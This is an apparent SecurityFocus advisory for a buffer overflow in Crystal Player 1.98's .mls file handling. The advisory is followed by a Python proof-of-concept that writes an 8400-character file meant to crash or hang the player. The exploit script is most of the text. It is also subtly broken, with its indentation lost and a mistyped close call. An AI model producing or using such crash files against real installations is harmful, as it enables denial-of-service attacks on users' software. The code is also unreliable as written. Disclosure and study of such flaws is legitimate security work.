source: https://www.securityfocus.com/bid/42727/info
Crystal Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
Crystal Player 1.98 is vulnerable; other versions may also be affected.
print "\n\nCrystal Player v1.98 .mls File Processing DoS"
#
#http://software-files-l.cnet.com/s/software/11/00/21/13/CrystalPro.exe?e=1282330968&h=e237bd6e2c2618e09cee1995b7e71d8f&lop=link&ptype=1901&ontid=2139&siteId=4&edId=3&spi=b6d2964a3df3b4a831dfecbe47f768ab&pid=11002113&psid=10210499&fileName=CrystalPro.exe
#
buff = "D" * 8400
try:
mlsfile = open("cp_crash.mls","w")
mlsfile.write(buff)
mlsfileclose()
print "[+] Successfully created MLS File\n"
print "[+] Load this File to Crystal Player CPU Usage shoots upto 100%\n"
print "[+] Coded by Praveen Darshanam\n"
except:
print "[+] Unable to Create File"